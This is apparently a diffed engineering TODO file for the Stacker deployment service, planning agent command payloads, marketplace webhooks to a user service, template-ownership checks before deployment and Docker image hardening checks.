(`/api/v1/commands/execute` or `/enqueue`) signed with HMAC headers from `AgentClient`. +- **Health** request: + ```json + {"type":"health","deployment_hash":"","app_code":"","include_metrics":true} + ``` + **Health report** (agent → `/api/v1/commands/report`): + ```json + {"type":"health","deployment_hash":"","app_code":"","status":"ok|unhealthy|unknown","container_state":"running|exited|starting|unknown","last_heartbeat_at":"2026-01-09T00:00:00Z","metrics":{"cpu_pct":0.12,"mem_mb":256},"errors":[]} + ``` +- **Logs** request: + ```json + {"type":"logs","deployment_hash":"","app_code":"","cursor":"","limit":400,"streams":["stdout","stderr"],"redact":true} + ``` + **Logs report**: + ```json + {"type":"logs","deployment_hash":"","app_code":"","cursor":"","lines":[{"ts":"2026-01-09T00:00:00Z","stream":"stdout","message":"...","redacted":false}],"truncated":false} + ``` +- **Restart** request: + ```json + {"type":"restart","deployment_hash":"","app_code":"","force":false} + ``` + **Restart report**: + ```json + {"type":"restart","deployment_hash":"","app_code":"","status":"ok|failed","container_state":"running|failed|unknown","errors":[]} + ``` +- Errors: agent reports `{ "type":"", "deployment_hash":..., "app_code":..., "status":"failed", "errors":[{"code":"timeout","message":"..."}] }`. +- Tasks progress: + 1. ✅ add schemas/validation for these command payloads → implemented in `src/forms/status_panel.rs` and enforced via `/api/v1/commands` create/report handlers. + 2. ✅ document in agent docs → see `docs/AGENT_REGISTRATION_SPEC.md`, `docs/STACKER_INTEGRATION_REQUIREMENTS.md`, and `docs/QUICK_REFERENCE.md` (field reference + auth note). + 3. ✅ expose in Stacker UI/Status Panel integration notes → new `docs/STATUS_PANEL_INTEGRATION_NOTES.md` consumed by dashboard team. + 4. ⏳ ensure Vault token/HMAC headers remain the auth path (UI + ops playbook updates pending). + +### Dynamic Agent Capabilities Endpoint +- [x] Expose `GET /api/v1/deployments/{deployment_hash}/capabilities` returning available commands based on `agents.capabilities` JSONB (implemented in `routes::deployment::capabilities_handler`). +- [x] Define command→capability mapping (static config) embedded in the handler: + ```json + { + "restart": { "requires": "docker", "scope": "container", "label": "Restart", "icon": "fas fa-redo" }, + "start": { "requires": "docker", "scope": "container", "label": "Start", "icon": "fas fa-play" }, + "stop": { "requires": "docker", "scope": "container", "label": "Stop", "icon": "fas fa-stop" }, + "pause": { "requires": "docker", "scope": "container", "label": "Pause", "icon": "fas fa-pause" }, + "logs": { "requires": "logs", "scope": "container", "label": "Logs", "icon": "fas fa-file-alt" }, + "rebuild": { "requires": "compose", "scope": "deployment", "label": "Rebuild Stack", "icon": "fas fa-sync" }, + "backup": { "requires": "backup", "scope": "deployment", "label": "Backup", "icon": "fas fa-download" } + } + ``` +- [x] Return only commands whose `requires` capability is present in the agent's capabilities array (see `filter_commands` helper). +- [x] Include agent status (online/offline) and last_heartbeat plus existing metadata in the response so Blog can gate UI. + +### Pull-Only Command Architecture (No Push) +**Key principle**: Stacker never dials out to agents. Commands are enqueued in the database; agents poll and sign their own requests. +- [x] `POST /api/v1/agent/commands/enqueue` validates user auth, inserts into `commands` + `command_queue` tables, returns 202. No outbound HTTP to agent. +- [x] Agent polls `GET /api/v1/agent/commands/wait/{deployment_hash}` with HMAC headers it generates using its Vault-fetched token. +- [x] Stacker verifies agent's HMAC, returns queued commands. +- [x] Agent executes locally and calls `POST /api/v1/agent/commands/report` (HMAC-signed). +- [x] Remove any legacy `agent_dispatcher::execute/enqueue` code that attempted to push to agents; keep only `rotate_token` for Vault token management. +- [x] Document that `AGENT_BASE_URL` env var is NOT required for Status Panel; Stacker is server-only (see README.md). + +### Dual Endpoint Strategy (Status Panel + Compose Agent) +- [ ] Maintain legacy proxy routes under `/api/v1/deployments/{hash}/containers/*` for hosts without Compose Agent; ensure regression tests continue to cover restart/start/stop/logs flows. +- [ ] Add Compose control-plane routes (`/api/v1/compose/{hash}/status|logs|restart|metrics`) that translate into cagent API calls using the new `compose_agent_token` from Vault. +- [ ] For Compose Agent path only: `agent_dispatcher` may push commands if cagent exposes an HTTP API; this is the exception, not the rule. +- [ ] Return `"compose_agent": true|false` in `/capabilities` response plus a `"fallback_reason"` field when Compose Agent is unavailable (missing registration, unhealthy heartbeat, token fetch failure). +- [ ] Write ops playbook entry + automated alert when Compose Agent is offline for >15 minutes so we can investigate hosts stuck on the legacy path. + +### Coordination Note +Sub-agents can communicate with the team lead via the shared memory tool (see /memories/subagents.md). If questions remain, record them in TODO.md and log work in CHANGELOG.md. + +### Nginx Proxy Routing +**Browser → Stacker** (via nginx): `https://dev.try.direct/stacker/` → `stacker:8000` +**Stacker → User Service** (internal): `http://user:4100/marketplace/sync` (no nginx prefix) +**Stacker → Payment Service** (internal): `http://payment:8000/` (no nginx prefix) + +Stacker responsibilities: +1. **Maintain `stack_template` table** (template definitions, no pricing/monetization) +2. **Send webhook to User Service** when template status changes (approved, updated, rejected) +3. **Query User Service** for product information (pricing, vendor, etc.) +4. **Validate deployments** against User Service product ownership + +## Improvements +### Top improvements +- [x] Cache OAuth token validation in Stacker (30–60s TTL) to avoid a User Service call on every request. +- [x] Reuse/persist the HTTP client with keep-alive and a shared connection pool for User Service; avoid starting new connections per request. +- [x] Stop reloading Casbin policies on every request; reload on policy change. +- [x] Reduce polling frequency and batch command status queries; prefer streaming/long-poll responses. +- [ ] Add server-side aggregation: return only latest command states instead of fetching full 150+ rows each time. +- [x] Add gzip/br on internal HTTP responses and trim response payloads. + +### Local pipe discovery follow-up +- [ ] Design a local-only persistence layer for AI/discovery pipe hints before adding runtime semantics or `stacker.yml` schema changes. + - Scope: cache advisory local scan results for commands such as a future `stacker pipe scan-local` + - Preferred first option: SQLite in the workspace or `.stacker/` state + - Minimal tables: + - `pipe_scans(id, project_root, project_name, scanned_at)` + - `pipe_hints(id, scan_id, pipe_key, category, title, confidence, source, evidence, target)` + - Keep this separate from remote/runtime-verified pipe records and from server-side Postgres models + - Add user-confirmed decisions later only if the local discovery workflow proves useful +- [x] Co-locate Stacker and User Service (same network/region) or use private networking to cut latency. + +### Backlog hygiene +- [ ] Capture ongoing UX friction points from Stack Builder usage and log them here. +- [ ] Track recurring operational pain points (timeouts, retries, auth failures) for batch fixes. +- [ ] Record documentation gaps that slow down onboarding or integration work. + +## Tasks + +### Data Contract Notes (2026-01-04) +- `project_id` in Stacker is the same identifier as `stack_id` in the User Service `installation` table; use it to link records across services. +- Include `deployment_hash` from Stacker in payloads sent to Install Service (RabbitMQ) and User Service so both can track deployments by the unique deployment key. Coordinate with try.direct.tools to propagate this field through shared publishers/helpers. + +### 0. Setup ACL Rules Migration (User Service) +**File**: `migrations/setup_acl_rules.py` (in Stacker repo) + +**Purpose**: Automatically configure Casbin ACL rules in User Service for Stacker endpoints + +**Required Casbin rules** (to be inserted in User Service `casbin_rule` table): +```python +# Allow root/admin to manage marketplace templates via Stacker +rules = [ + ('p', 'root', '/templates', 'POST', '', '', ''), # Create template + ('p', 'root', '/templates', 'GET', '', '', ''), # List templates + ('p', 'root', '/templates/*', 'GET', '', '', ''), # View template + ('p', 'root', '/templates/*', 'PUT', '', '', ''), # Update template + ('p', 'root', '/templates/*', 'DELETE', '', '', ''), # Delete template + ('p', 'admin', '/templates', 'POST', '', '', ''), + ('p', 'admin', '/templates', 'GET', '', '', ''), + ('p', 'admin', '/templates/*', 'GET', '', '', ''), + ('p', 'admin', '/templates/*', 'PUT', '', '', ''), + ('p', 'developer', '/templates', 'POST', '', '', ''), # Developers can create + ('p', 'developer', '/templates', 'GET', '', '', ''), # Developers can list own +] +``` + +**Implementation**: +- Run as part of Stacker setup/init +- Connect to User Service database +- Insert rules if not exist (idempotent) +- **Status**: NOT STARTED +- **Priority**: HIGH (Blocks template creation via Stack Builder) +- **ETA**: 30 minutes + +### 0.5. Add Category Table Fields & Sync (Stacker) +**File**: `migrations/add_category_fields.py` (in Stacker repo) + +**Purpose**: Add missing fields to Stacker's local `category` table and sync from User Service + +**Migration Steps**: +1. Add `title VARCHAR(255)` column to `category` table (currently only has `id`, `name`) +2. Add `metadata JSONB` column for flexible category data +3. Create `UserServiceConnector.sync_categories()` method +4. On application startup: Fetch categories from User Service `GET http://user:4100/api/1.0/category` +5. Populate/update local `category` table: + - Map User Service `name` → Stacker `name` (code) + - Map User Service `title` → Stacker `title` + - Store additional data in `metadata` JSONB + +**Example sync**: +```python +# User Service category +{"_id": 5, "name": "ai", "title": "AI Agents", "priority": 5} + +# Stacker local category (after sync) +{"id": 5, "name": "ai", "title": "AI Agents", "metadata": {"priority": 5}} +``` + +**Status**: NOT STARTED +**Priority**: HIGH (Required for Stack Builder UI) +**ETA**: 1 hour + +### 1. Create User Service Connector +**File**: `app//connectors/user_service_connector.py` (in Stacker repo) + +**Required methods**: +```python +class UserServiceConnector: + def get_categories(self) -> list: + """ + GET http://user:4100/api/1.0/category + + Returns list of available categories for stack classification: + [ + {"_id": 1, "name": "cms", "title": "CMS", "priority": 1}, + {"_id": 2, "name": "ecommerce", "title": "E-commerce", "priority": 2}, + {"_id": 5, "name": "ai", "title": "AI Agents", "priority": 5} + ] + + Used by: Stack Builder UI to populate category dropdown + """ + pass + + def get_user_profile(self, user_token: str) -> dict: + """ + GET http://user:4100/oauth_server/api/me + Headers: Authorization: Bearer {user_token} + + Returns: + { + "email": "user@example.com", + "plan": { + "name": "plus", + "date_end": "2026-01-30" + }, + "products": [ + { + "product_id": "uuid", + "product_type": "template", + "code": "ai-agent-stack", + "external_id": 12345, # stack_template.id from Stacker + "name": "AI Agent Stack", + "price": "99.99", + "owned_since": "2025-01-15T..." + } + ] + } + """ + pass + + def get_template_product(self, stack_template_id: int) -> dict: + """ + GET http://user:4100/api/1.0/products?external_id={stack_template_id}&product_type=template + + Returns product info for a marketplace template (pricing, vendor, etc.) + """ + pass + + def user_owns_template(self, user_token: str, stack_template_id: int) -> bool: + """ + Check if user has purchased/owns this marketplace template + """ + profile = self.get_user_profile(user_token) + return any(p['external_id'] == stack_template_id and p['product_type'] == 'template' + for p in profile.get('products', [])) +``` + +**Implementation Note**: Use OAuth2 token that Stacker already has for the user. + +### 2. Create Webhook Sender to User Service (Marketplace Sync) +**File**: `app//webhooks/marketplace_webhook.py` (in Stacker repo) + +**When template status changes** (approved, updated, rejected): +```python +import requests +from os import environ + +class MarketplaceWebhookSender: + """ + Send template sync webhooks to User Service + Mirrors PAYMENT_MODEL.md Flow 3: Stacker template changes → User Service products + """ + + def send_template_approved(self, stack_template: dict, vendor_user: dict): + """ + POST http://user:4100/marketplace/sync + + Body: + { + "action": "template_approved", + "stack_template_id": 12345, + "external_id": 12345, # Same as stack_template_id + "code": "ai-agent-stack-pro", + "name": "AI Agent Stack Pro", + "description": "Advanced AI agent deployment...", + "category_code": "ai", # String code from local category.name (not ID) + "price": 99.99, + "billing_cycle": "one_time", # or "monthly" + "currency": "USD", + "vendor_user_id": 456, + "vendor_name": "John Doe" + } + """ + headers = {'Authorization': f'Bearer {self.get_service_token()}'} + + payload = { + 'action': 'template_approved', + 'stack_template_id': stack_template['id'], + 'external_id': stack_template['id'], + 'code': stack_template.get('code'), + 'name': stack_template.get('name'), + 'description': stack_template.get('description'), + 'category_code': stack_template.get('category'), # String code (e.g., "ai", "cms") + 'price': stack_template.get('price'), + 'billing_cycle': stack_template.get('billing_cycle', 'one_time'), + 'currency': stack_template.get('currency', 'USD'), + 'vendor_user_id': vendor_user['id'], + 'vendor_name': vendor_user.get('full_name', vendor_user.get('email')) + } + + response = requests.post( + f"{environ['URL_SERVER_USER']}/marketplace/sync", + json=payload, + headers=headers + ) + + if response.status_code != 200: + raise Exception(f"Webhook send failed: {response.text}") + + return response.json() + + def send_template_updated(self, stack_template: dict, vendor_user: dict): + """Send template updated webhook (same format as approved)""" + payload = {...} + payload['action'] = 'template_updated' + # Send like send_template_approved() + + def send_template_rejected(self, stack_template: dict): + """ + Notify User Service to deactivate product + + Body: + { + "action": "template_rejected", + "stack_template_id": 12345 + } + """ + headers = {'Authorization': f'Bearer {self.get_service_token()}'} + + payload = { + 'action': 'template_rejected', + 'stack_template_id': stack_template['id'] + } + + response = requests.post( + f"{environ['URL_SERVER_USER']}/marketplace/sync", + json=payload, + headers=headers + ) + + return response.json() + + @staticmethod + def get_service_token() -> str: + """Get Bearer token for service-to-service communication""" + # Option 1: Use static bearer token + return environ.get('STACKER_SERVICE_TOKEN') + + # Option 2: Use OAuth2 client credentials flow (preferred) + # See User Service `.github/copilot-instructions.md` for setup +``` + +**Integration points** (where to call webhook sender): + +1. **When template is approved by admin**: +```python +def approve_template(template_id: int): + template = StackTemplate.query.get(template_id) + vendor = User.query.get(template.created_by_user_id) + template.status = 'approved' + db.session.commit() + + # Send webhook to User Service to create product + webhook_sender = MarketplaceWebhookSender() + webhook_sender.send_template_approved(template.to_dict(), vendor.to_dict()) +``` + +2. **When template is updated**: +```python +def update_template(template_id: int, updates: dict): + template = StackTemplate.query.get(template_id) + template.update(updates) + db.session.commit() + + if template.status == 'approved': + vendor = User.query.get(template.created_by_user_id) + webhook_sender = MarketplaceWebhookSender() + webhook_sender.send_template_updated(template.to_dict(), vendor.to_dict()) +``` + +3. **When template is rejected**: +```python +def reject_template(template_id: int): + template = StackTemplate.query.get(template_id) + template.status = 'rejected' + db.session.commit() + + webhook_sender = MarketplaceWebhookSender() + webhook_sender.send_template_rejected(template.to_dict()) +``` + +### 3. Add Deployment Validation +**File**: `app//services/deployment_service.py` (update existing) + +**Before allowing deployment, validate**: +```python +from .connectors.user_service_connector import UserServiceConnector + +class DeploymentValidator: + def validate_marketplace_template(self, stack_template: dict, user_token: str): + """ + Check if user can deploy this marketplace template + + If template has a product in User Service: + - Check if user owns product (in user_products table) + - If not owned, block deployment + """ + connector = UserServiceConnector() + + # If template is not marketplace template, allow deployment + if not stack_template.get('is_from_marketplace'): + return True + + # Check if template has associated product + template_id = stack_template['id'] + product_info = connector.get_template_product(template_id) + + if not product_info: + # No product = free marketplace template, allow deployment + return True + + # Check if user owns this template product + user_owns = connector.user_owns_template(user_token, template_id) + + if not user_owns: + raise TemplateNotPurchasedError( + f"This verified pro stack requires purchase. " + f"Price: ${product_info.get('price')}. " + f"Please purchase from User Service." + ) + + return True +``` + +**Integrate into deployment flow**: +```python +def start_deployment(template_id: int, user_token: str): + template = StackTemplate.query.get(template_id) + + # Validate permission to deploy this template + validator = DeploymentValidator() + validator.validate_marketplace_template(template.to_dict(), user_token) + + # Continue with deployment... +``` + +## Environment Variables Needed (Stacker) +Add to Stacker's `.env`: +```bash +# User Service +URL_SERVER_USER=http://user:4100/ + +# Service-to-service auth token (for webhook sender) +STACKER_SERVICE_TOKEN= + +# Or use OAuth2 client credentials (preferred) +STACKER_CLIENT_ID= +STACKER_CLIENT_SECRET= +``` + +## Testing Checklist + +### Unit Tests +- [ ] `test_user_service_connector.py`: + - [ ] `get_user_profile()` returns user with products list + - [ ] `get_template_product()` returns product info + - [ ] `user_owns_template()` returns correct boolean +- [ ] `test_marketplace_webhook_sender.py`: + - [ ] `send_template_approved()` sends correct webhook payload + - [ ] `send_template_updated()` sends correct webhook payload + - [ ] `send_template_rejected()` sends correct webhook payload + - [ ] `get_service_token()` returns valid bearer token +- [ ] `test_deployment_validator.py`: + - [ ] `validate_marketplace_template()` allows free templates + - [ ] `validate_marketplace_template()` allows user-owned paid templates + - [ ] `validate_marketplace_template()` blocks non-owned paid templates + - [ ] Raises `TemplateNotPurchasedError` with correct message + +### Integration Tests +- [ ] `test_template_approval_flow.py`: + - [ ] Admin approves template in Stacker + - [ ] Webhook sent to User Service `/marketplace/sync` + - [ ] User Service creates product + - [ ] `/oauth_server/api/me` includes new product +- [ ] `test_template_update_flow.py`: + - [ ] Vendor updates template in Stacker + - [ ] Webhook sent to User Service + - [ ] Product updated in User Service +- [ ] `test_template_rejection_flow.py`: + - [ ] Admin rejects template + - [ ] Webhook sent to User Service + - [ ] Product deactivated in User Service +- [ ] `test_deployment_validation_flow.py`: + - [ ] User can deploy free marketplace template + - [ ] User cannot deploy paid template without purchase + - [ ] User can deploy paid template after product purchase + - [ ] Correct error messages in each scenario + +### Manual Testing +- [ ] Stacker can query User Service `/oauth_server/api/me` (with real user token) +- [ ] Stacker connector returns user profile with products list +- [ ] Approve template in Stacker admin → webhook sent to User Service +- [ ] User Service `/marketplace/sync` creates product +- [ ] Product appears in `/api/1.0/products` endpoint +- [ ] Deployment validation blocks unpurchased paid templates +- [ ] Deployment validation allows owned paid templates +- [ ] All environment variables configured correctly + +## Coordination + +**Dependencies**: +1. ✅ User Service - `/marketplace/sync` webhook endpoint (created in User Service TODO) +2. ✅ User Service - `products` + `user_products` tables (created in User Service TODO) +3. ⏳ Stacker - User Service connector + webhook sender (THIS TODO) +4. ✅ Payment Service - No changes needed (handles all webhooks same way) + +**Service Interaction Flow**: + +``` +Vendor Creates Template in Stacker + ↓ +Admin Approves in Stacker + ↓ +Stacker calls MarketplaceWebhookSender.send_template_approved() + ↓ +POST http://user:4100/marketplace/sync + { + "action": "template_approved", + "stack_template_id": 12345, + "price": 99.99, + "vendor_user_id": 456, + ... + } + ↓ +User Service creates `products` row + (product_type='template', external_id=12345, vendor_id=456, price=99.99) + ↓ +Template now available in User Service `/api/1.0/products?product_type=template` + ↓ +Blog queries User Service for marketplace templates + ↓ +User views template in marketplace, clicks "Deploy" + ↓ +User pays (Payment Service handles all payment flows) + ↓ +Payment Service webhook → User Service (adds row to `user_products`) + ↓ +Stacker queries User Service `/oauth_server/api/me` + ↓ +User Service returns products list (includes newly purchased template) + ↓ +DeploymentValidator.validate_marketplace_template() checks ownership + ↓ +Deployment proceeds (user owns product) +``` + +## Notes + +**Architecture Decisions**: +1. Stacker only sends webhooks to User Service (no bi-directional queries) +2. User Service owns monetization logic (products table) +3. Payment Service forwards webhooks to User Service (same handler for all product types) +4. `stack_template.id` (Stacker) links to `products.external_id` (User Service) via webhook +5. Deployment validation queries User Service for product ownership + +**Key Points**: +- DO NOT store pricing in Stacker `stack_template` table +- DO NOT create products table in Stacker (they're in User Service) +- DO send webhooks to User Service when template status changes +- DO use Bearer token for service-to-service auth in webhooks +- Webhook sender is simpler than Stacker querying User Service (one-way communication) + +## Timeline Estimate + +- Phase 1 (User Service connector): 1-2 hours +- Phase 2 (Webhook sender): 1-2 hours +- Phase 3 (Deployment validation): 1-2 hours +- Phase 4 (Testing): 3-4 hours +- **Total**: 6-10 hours (~1 day) + +## Reference Files +- [PAYMENT_MODEL.md](/PAYMENT_MODEL.md) - Architecture +- [try.direct.user.service/TODO.md](try.direct.user.service/TODO.md) - User Service implementation +- [try.direct.tools/TODO.md](try.direct.tools/TODO.md) - Shared utilities +- [blog/TODO.md](blog/TODO.md) - Frontend marketplace UI + +--- + +## Synced copy from /STACKER_TODO.md (2026-01-03) + +# TODO: Stacker Marketplace Payment Integration + +## Context +Per [PAYMENT_MODEL.md](/PAYMENT_MODEL.md), Stacker now sends webhooks to User Service when templates are published/updated. User Service owns the `products` table for monetization, while Stacker owns `stack_template` (template definitions only). + +Stacker responsibilities: +1. **Maintain `stack_template` table** (template definitions, no pricing/monetization) +2. **Send webhook to User Service** when template status changes (approved, updated, rejected) +3. **Query User Service** for product information (pricing, vendor, etc.) +4. **Validate deployments** against User Service product ownership + +## Tasks + +### Bugfix: Return clear duplicate slug error +- [x] When `stack_template.slug` violates uniqueness (code 23505), return 409/400 with a descriptive message (e.g., "slug already exists") instead of 500 so clients (blog/stack-builder) can surface a user-friendly error. + +### 1. Create User Service Connector +**File**: `app//connectors/user_service_connector.py` (in Stacker repo) + +**Required methods**: +```python +class UserServiceConnector: + def get_user_profile(self, user_token: str) -> dict: + """ + GET http://user:4100/oauth_server/api/me + Headers: Authorization: Bearer {user_token} + + Returns: + { + "email": "user@example.com", + "plan": { + "name": "plus", + "date_end": "2026-01-30" + }, + "products": [ + { + "product_id": "uuid", + "product_type": "template", + "code": "ai-agent-stack", + "external_id": 12345, # stack_template.id from Stacker + "name": "AI Agent Stack", + "price": "99.99", + "owned_since": "2025-01-15T..." + } + ] + } + """ + pass + + def get_template_product(self, stack_template_id: int) -> dict: + """ + GET http://user:4100/api/1.0/products?external_id={stack_template_id}&product_type=template + + Returns product info for a marketplace template (pricing, vendor, etc.) + """ + pass + + def user_owns_template(self, user_token: str, stack_template_id: int) -> bool: + """ + Check if user has purchased/owns this marketplace template + """ + profile = self.get_user_profile(user_token) + return any(p['external_id'] == stack_template_id and p['product_type'] == 'template' + for p in profile.get('products', [])) +``` + +**Implementation Note**: Use OAuth2 token that Stacker already has for the user. + +### 2. Create Webhook Sender to User Service (Marketplace Sync) +**File**: `app//webhooks/marketplace_webhook.py` (in Stacker repo) + +**When template status changes** (approved, updated, rejected): +```python +import requests +from os import environ + +class MarketplaceWebhookSender: + """ + Send template sync webhooks to User Service + Mirrors PAYMENT_MODEL.md Flow 3: Stacker template changes → User Service products + """ + + def send_template_approved(self, stack_template: dict, vendor_user: dict): + """ + POST http://user:4100/marketplace/sync + + Body: + { + "action": "template_approved", + "stack_template_id": 12345, + "external_id": 12345, # Same as stack_template_id + "code": "ai-agent-stack-pro", + "name": "AI Agent Stack Pro", + "description": "Advanced AI agent deployment...", + "price": 99.99, + "billing_cycle": "one_time", # or "monthly" + "currency": "USD", + "vendor_user_id": 456, + "vendor_name": "John Doe" + } + """ + headers = {'Authorization': f'Bearer {self.get_service_token()}'} + + payload = { + 'action': 'template_approved', + 'stack_template_id': stack_template['id'], + 'external_id': stack_template['id'], + 'code': stack_template.get('code'), + 'name': stack_template.get('name'), + 'description': stack_template.get('description'), + 'price': stack_template.get('price'), + 'billing_cycle': stack_template.get('billing_cycle', 'one_time'), + 'currency': stack_template.get('currency', 'USD'), + 'vendor_user_id': vendor_user['id'], + 'vendor_name': vendor_user.get('full_name', vendor_user.get('email')) + } + + response = requests.post( + f"{environ['URL_SERVER_USER']}/marketplace/sync", + json=payload, + headers=headers + ) + + if response.status_code != 200: + raise Exception(f"Webhook send failed: {response.text}") + + return response.json() + + def send_template_updated(self, stack_template: dict, vendor_user: dict): + """Send template updated webhook (same format as approved)""" + payload = {...} + payload['action'] = 'template_updated' + # Send like send_template_approved() + + def send_template_rejected(self, stack_template: dict): + """ + Notify User Service to deactivate product + + Body: + { + "action": "template_rejected", + "stack_template_id": 12345 + } + """ + headers = {'Authorization': f'Bearer {self.get_service_token()}'} + + payload = { + 'action': 'template_rejected', + 'stack_template_id': stack_template['id'] + } + + response = requests.post( + f"{environ['URL_SERVER_USER']}/marketplace/sync", + json=payload, + headers=headers + ) + + return response.json() + + @staticmethod + def get_service_token() -> str: + """Get Bearer token for service-to-service communication""" + # Option 1: Use static bearer token + return environ.get('STACKER_SERVICE_TOKEN') + + # Option 2: Use OAuth2 client credentials flow (preferred) + # See User Service `.github/copilot-instructions.md` for setup +``` + +**Integration points** (where to call webhook sender): + +1. **When template is approved by admin**: +```python +def approve_template(template_id: int): + template = StackTemplate.query.get(template_id) + vendor = User.query.get(template.created_by_user_id) + template.status = 'approved' + db.session.commit() + + # Send webhook to User Service to create product + webhook_sender = MarketplaceWebhookSender() + webhook_sender.send_template_approved(template.to_dict(), vendor.to_dict()) +``` + +2. **When template is updated**: +```python +def update_template(template_id: int, updates: dict): + template = StackTemplate.query.get(template_id) + template.update(updates) + db.session.commit() + + if template.status == 'approved': + vendor = User.query.get(template.created_by_user_id) + webhook_sender = MarketplaceWebhookSender() + webhook_sender.send_template_updated(template.to_dict(), vendor.to_dict()) +``` + +3. **When template is rejected**: +```python +def reject_template(template_id: int): + template = StackTemplate.query.get(template_id) + template.status = 'rejected' + db.session.commit() + + webhook_sender = MarketplaceWebhookSender() + webhook_sender.send_template_rejected(template.to_dict()) +``` + +### 3. Add Deployment Validation +**File**: `app//services/deployment_service.py` (update existing) + +**Before allowing deployment, validate**: +```python +from .connectors.user_service_connector import UserServiceConnector + +class DeploymentValidator: + def validate_marketplace_template(self, stack_template: dict, user_token: str): + """ + Check if user can deploy this marketplace template + + If template has a product in User Service: + - Check if user owns product (in user_products table) + - If not owned, block deployment + """ + connector = UserServiceConnector() + + # If template is not marketplace template, allow deployment + if not stack_template.get('is_from_marketplace'): + return True + + # Check if template has associated product + template_id = stack_template['id'] + product_info = connector.get_template_product(template_id) + + if not product_info: + # No product = free marketplace template, allow deployment + return True + + # Check if user owns this template product + user_owns = connector.user_owns_template(user_token, template_id) + + if not user_owns: + raise TemplateNotPurchasedError( + f"This verified pro stack requires purchase. " + f"Price: ${product_info.get('price')}. " + f"Please purchase from User Service." + ) + + return True +``` + +**Integrate into deployment flow**: +```python +def start_deployment(template_id: int, user_token: str): + template = StackTemplate.query.get(template_id) + + # Validate permission to deploy this template + validator = DeploymentValidator() + validator.validate_marketplace_template(template.to_dict(), user_token) + + # Continue with deployment... +``` + +## Environment Variables Needed (Stacker) +Add to Stacker's `.env`: +```bash +# User Service +URL_SERVER_USER=http://user:4100/ + +# Service-to-service auth token (for webhook sender) +STACKER_SERVICE_TOKEN= + +# Or use OAuth2 client credentials (preferred) +STACKER_CLIENT_ID= +STACKER_CLIENT_SECRET= +``` + +## Testing Checklist + +### Unit Tests +- [ ] `test_user_service_connector.py`: + - [ ] `get_user_profile()` returns user with products list + - [ ] `get_template_product()` returns product info + - [ ] `user_owns_template()` returns correct boolean +- [ ] `test_marketplace_webhook_sender.py`: + - [ ] `send_template_approved()` sends correct webhook payload + - [ ] `send_template_updated()` sends correct webhook payload + - [ ] `send_template_rejected()` sends correct webhook payload + - [ ] `get_service_token()` returns valid bearer token +- [ ] `test_deployment_validator.py`: + - [ ] `validate_marketplace_template()` allows free templates + - [ ] `validate_marketplace_template()` allows user-owned paid templates + - [ ] `validate_marketplace_template()` blocks non-owned paid templates + - [ ] Raises `TemplateNotPurchasedError` with correct message + +### Integration Tests +- [ ] `test_template_approval_flow.py`: + - [ ] Admin approves template in Stacker + - [ ] Webhook sent to User Service `/marketplace/sync` + - [ ] User Service creates product + - [ ] `/oauth_server/api/me` includes new product +- [ ] `test_template_update_flow.py`: + - [ ] Vendor updates template in Stacker + - [ ] Webhook sent to User Service + - [ ] Product updated in User Service +- [ ] `test_template_rejection_flow.py`: + - [ ] Admin rejects template + - [ ] Webhook sent to User Service + - [ ] Product deactivated in User Service +- [ ] `test_deployment_validation_flow.py`: + - [ ] User can deploy free marketplace template + - [ ] User cannot deploy paid template without purchase + - [ ] User can deploy paid template after product purchase + - [ ] Correct error messages in each scenario + +### Manual Testing +- [ ] Stacker can query User Service `/oauth_server/api/me` (with real user token) +- [ ] Stacker connector returns user profile with products list +- [ ] Approve template in Stacker admin → webhook sent to User Service +- [ ] User Service `/marketplace/sync` creates product +- [ ] Product appears in `/api/1.0/products` endpoint +- [ ] Deployment validation blocks unpurchased paid templates +- [ ] Deployment validation allows owned paid templates +- [ ] All environment variables configured correctly + +## Coordination + +**Dependencies**: +1. ✅ User Service - `/marketplace/sync` webhook endpoint (created in User Service TODO) +2. ✅ User Service - `products` + `user_products` tables (created in User Service TODO) +3. ⏳ Stacker - User Service connector + webhook sender (THIS TODO) +4. ✅ Payment Service - No changes needed (handles all webhooks same way) + +**Service Interaction Flow**: + +``` +Vendor Creates Template in Stacker + ↓ +Admin Approves in Stacker + ↓ +Stacker calls MarketplaceWebhookSender.send_template_approved() + ↓ +POST http://user:4100/marketplace/sync + { + "action": "template_approved", + "stack_template_id": 12345, + "price": 99.99, + "vendor_user_id": 456, + ... + } + ↓ +User Service creates `products` row + (product_type='template', external_id=12345, vendor_id=456, price=99.99) + ↓ +Template now available in User Service `/api/1.0/products?product_type=template` + ↓ +Blog queries User Service for marketplace templates + ↓ +User views template in marketplace, clicks "Deploy" + ↓ +User pays (Payment Service handles all payment flows) + ↓ +Payment Service webhook → User Service (adds row to `user_products`) + ↓ +Stacker queries User Service `/oauth_server/api/me` + ↓ +User Service returns products list (includes newly purchased template) + ↓ +DeploymentValidator.validate_marketplace_template() checks ownership + ↓ +Deployment proceeds (user owns product) +``` + +## Notes + +**Architecture Decisions**: +1. Stacker only sends webhooks to User Service (no bi-directional queries) +2. User Service owns monetization logic (products table) +3. Payment Service forwards webhooks to User Service (same handler for all product types) +4. `stack_template.id` (Stacker) links to `products.external_id` (User Service) via webhook +5. Deployment validation queries User Service for product ownership + +**Key Points**: +- DO NOT store pricing in Stacker `stack_template` table +- DO NOT create products table in Stacker (they're in User Service) +- DO send webhooks to User Service when template status changes +- DO use Bearer token for service-to-service auth in webhooks +- Webhook sender is simpler than Stacker querying User Service (one-way communication) + +## Timeline Estimate + +- Phase 1 (User Service connector): 1-2 hours +- Phase 2 (Webhook sender): 1-2 hours +- Phase 3 (Deployment validation): 1-2 hours +- Phase 4 (Testing): 3-4 hours +- **Total**: 6-10 hours (~1 day) + +## Reference Files +- [PAYMENT_MODEL.md](/PAYMENT_MODEL.md) - Architecture +- [try.direct.user.service/TODO.md](try.direct.user.service/TODO.md) - User Service implementation +- [try.direct.tools/TODO.md](try.direct.tools/TODO.md) - Shared utilities +- [blog/TODO.md](blog/TODO.md) - Frontend marketplace UI + + +## Marketplace Template Hardened Images — Docker Hub API Enhancement + +**Status:** Static analysis implemented. API-based verification pending. + +### What is implemented (static analysis in `security_validator.rs`) +- `:latest` / untagged image detection +- Non-root `user:` directive detection +- `image@sha256:` digest pinning detection +- Known hardened sources: `cgr.dev/`, `gcr.io/distroless/`, `bitnami/`, `rapidfort/`, `registry1.dso.mil/` +- Docker Official Images (no-namespace single-word images like `nginx:1.25`) +- `hardened_images` auto-set in `verifications` JSONB when security scan passes +- Priority sort boost: hardened templates float to top of all `list_approved` sort orders + +### TODO: Docker Hub API integration + +To verify `is_official` and `is_verified_publisher` status for each image: + +1. **Extend `DockerHubConnector` trait** (`src/connectors/docker_hub/connector.rs`): + ```rust + async fn get_repository_info(&self, namespace: &str, name: &str) -> Result; + ``` + 